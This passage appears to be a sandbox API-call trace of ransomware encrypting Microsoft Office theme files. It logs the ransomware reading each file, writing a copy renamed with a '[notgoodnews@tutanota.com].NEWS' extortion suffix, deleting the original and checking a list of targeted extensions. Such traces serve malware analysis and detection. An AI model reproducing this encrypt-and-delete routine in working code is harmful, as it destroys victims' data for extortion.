dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0241.548] GetLastError () returned 0x0 [0241.548] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0xbf81, lpOverlapped=0x0) returned 1 [0241.561] WriteFile (in: hFile=0x1f0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0241.567] ReadFile (in: hFile=0x3ac, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0241.567] WriteFile (in: hFile=0x1f0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xf2, lpOverlapped=0x0) returned 1 [0241.567] SetEndOfFile (hFile=0x1f0) returned 1 [0241.568] CloseHandle (hObject=0x1f0) returned 1 [0241.568] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0241.568] SetEndOfFile (hFile=0x3ac) returned 1 [0242.028] CloseHandle (hObject=0x3ac) returned 1 [0242.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0242.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.366] lstrlenW (lpString=".doc") returned 4 [0242.366] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.366] lstrlenW (lpString=".docx") returned 5 [0242.366] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.366] lstrlenW (lpString=".pdf") returned 4 [0242.366] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.366] lstrlenW (lpString=".xls") returned 4 [0242.366] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.366] lstrlenW (lpString=".xlsx") returned 5 [0242.366] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.367] lstrlenW (lpString=".ppt") returned 4 [0242.367] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.367] lstrlenW (lpString=".zip") returned 4 [0242.367] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.367] lstrlenW (lpString=".rar") returned 4 [0242.367] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.367] lstrlenW (lpString=".bz2") returned 4 [0242.367] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.367] lstrlenW (lpString=".7z") returned 3 [0242.367] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.367] lstrlenW (lpString=".dbf") returned 4 [0242.367] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.368] lstrlenW (lpString=".1cd") returned 4 [0242.368] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.368] lstrlenW (lpString=".jpg") returned 4 [0242.368] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.368] lstrlenW (lpString=".doc") returned 4 [0242.368] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.368] lstrlenW (lpString=".docx") returned 5 [0242.368] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.369] lstrlenW (lpString=".pdf") returned 4 [0242.369] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.369] lstrlenW (lpString=".xls") returned 4 [0242.369] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.369] lstrlenW (lpString=".xlsx") returned 5 [0242.369] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.369] lstrlenW (lpString=".ppt") returned 4 [0242.369] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.369] lstrlenW (lpString=".zip") returned 4 [0242.369] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.369] lstrlenW (lpString=".rar") returned 4 [0242.370] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.370] lstrlenW (lpString=".bz2") returned 4 [0242.370] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.370] lstrlenW (lpString=".7z") returned 3 [0242.370] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.370] lstrlenW (lpString=".dbf") returned 4 [0242.371] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.371] lstrlenW (lpString=".1cd") returned 4 [0242.371] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0242.371] lstrlenW (lpString=".jpg") returned 4 [0242.371] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.371] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.372] lstrlenW (lpString="Clarity.eftx") returned 12 [0242.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0242.381] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=32818) returned 1 [0242.381] CloseHandle (hObject=0x3d0) returned 1 [0242.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0242.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0242.382] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0242.382] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0242.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.383] GetLastError () returned 0x0 [0242.383] ReadFile (in: hFile=0x3d0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x8032, lpOverlapped=0x0) returned 1 [0242.390] WriteFile (in: hFile=0x288, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x8040, lpOverlapped=0x0) returned 1 [0242.394] ReadFile (in: hFile=0x3d0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0242.394] WriteFile (in: hFile=0x288, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.394] SetEndOfFile (hFile=0x288) returned 1 [0242.395] CloseHandle (hObject=0x288) returned 1 [0242.397] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0242.397] SetEndOfFile (hFile=0x3d0) returned 1 [0242.409] CloseHandle (hObject=0x3d0) returned 1 [0242.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.411] lstrlenW (lpString=".doc") returned 4 [0242.411] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.411] lstrlenW (lpString=".docx") returned 5 [0242.411] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.411] lstrlenW (lpString=".pdf") returned 4 [0242.412] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString=".xls") returned 4 [0242.412] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString=".xlsx") returned 5 [0242.412] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.412] lstrlenW (lpString=".ppt") returned 4 [0242.412] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.412] lstrlenW (lpString=".zip") returned 4 [0242.412] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString=".rar") returned 4 [0242.412] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString=".bz2") returned 4 [0242.412] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.412] lstrlenW (lpString=".7z") returned 3 [0242.413] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.413] lstrlenW (lpString=".dbf") returned 4 [0242.413] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.413] lstrlenW (lpString=".1cd") returned 4 [0242.413] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.413] lstrlenW (lpString=".jpg") returned 4 [0242.413] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.414] lstrlenW (lpString=".doc") returned 4 [0242.414] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.414] lstrlenW (lpString=".docx") returned 5 [0242.414] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.414] lstrlenW (lpString=".pdf") returned 4 [0242.414] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.414] lstrlenW (lpString=".xls") returned 4 [0242.414] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.414] lstrlenW (lpString=".xlsx") returned 5 [0242.414] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.414] lstrlenW (lpString=".ppt") returned 4 [0242.414] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.415] lstrlenW (lpString=".zip") returned 4 [0242.415] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.415] lstrlenW (lpString=".rar") returned 4 [0242.415] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.415] lstrlenW (lpString=".bz2") returned 4 [0242.415] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.415] lstrlenW (lpString=".7z") returned 3 [0242.415] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.415] lstrlenW (lpString=".dbf") returned 4 [0242.415] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.416] lstrlenW (lpString=".1cd") returned 4 [0242.416] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0242.416] lstrlenW (lpString=".jpg") returned 4 [0242.416] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.581] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.581] lstrlenW (lpString="Composite.eftx") returned 14 [0242.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.755] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=533988) returned 1 [0242.756] CloseHandle (hObject=0x3b0) returned 1 [0242.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0242.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.757] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0242.757] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0242.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.759] GetLastError () returned 0x0 [0242.759] ReadFile (in: hFile=0x3b0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x825e4, lpOverlapped=0x0) returned 1 [0242.788] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0243.187] ReadFile (in: hFile=0x3b0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0243.187] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.188] SetEndOfFile (hFile=0x388) returned 1 [0243.188] CloseHandle (hObject=0x388) returned 1 [0243.188] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0243.189] SetEndOfFile (hFile=0x3b0) returned 1 [0244.581] CloseHandle (hObject=0x3b0) returned 1 [0244.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0245.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.108] lstrlenW (lpString=".doc") returned 4 [0245.108] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.108] lstrlenW (lpString=".docx") returned 5 [0245.108] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.108] lstrlenW (lpString=".pdf") returned 4 [0245.108] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.109] lstrlenW (lpString=".xls") returned 4 [0245.109] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.109] lstrlenW (lpString=".xlsx") returned 5 [0245.109] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.109] lstrlenW (lpString=".ppt") returned 4 [0245.109] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.109] lstrlenW (lpString=".zip") returned 4 [0245.109] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.109] lstrlenW (lpString=".rar") returned 4 [0245.109] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.109] lstrlenW (lpString=".bz2") returned 4 [0245.110] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.110] lstrlenW (lpString=".7z") returned 3 [0245.110] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.110] lstrlenW (lpString=".dbf") returned 4 [0245.110] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.110] lstrlenW (lpString=".1cd") returned 4 [0245.110] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.110] lstrlenW (lpString=".jpg") returned 4 [0245.110] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.111] lstrlenW (lpString=".doc") returned 4 [0245.111] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.111] lstrlenW (lpString=".docx") returned 5 [0245.111] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.111] lstrlenW (lpString=".pdf") returned 4 [0245.111] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.111] lstrlenW (lpString=".xls") returned 4 [0245.111] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.111] lstrlenW (lpString=".xlsx") returned 5 [0245.111] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.112] lstrlenW (lpString=".ppt") returned 4 [0245.112] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.112] lstrlenW (lpString=".zip") returned 4 [0245.112] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.112] lstrlenW (lpString=".rar") returned 4 [0245.112] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.112] lstrlenW (lpString=".bz2") returned 4 [0245.112] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.112] lstrlenW (lpString=".7z") returned 3 [0245.112] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.112] lstrlenW (lpString=".dbf") returned 4 [0245.113] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.113] lstrlenW (lpString=".1cd") returned 4 [0245.113] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0245.113] lstrlenW (lpString=".jpg") returned 4 [0245.113] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.113] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0245.114] lstrlenW (lpString="Flow.eftx") returned 9 [0245.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.211] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=26648) returned 1 [0245.211] CloseHandle (hObject=0x304) returned 1 [0245.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0245.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0245.335] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0245.335] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0245.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.338] GetLastError () returned 0x0 [0245.338] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x6818, lpOverlapped=0x0) returned 1 [0245.398] WriteFile (in: hFile=0x324, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x6820, lpOverlapped=0x0) returned 1 [0245.402] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, 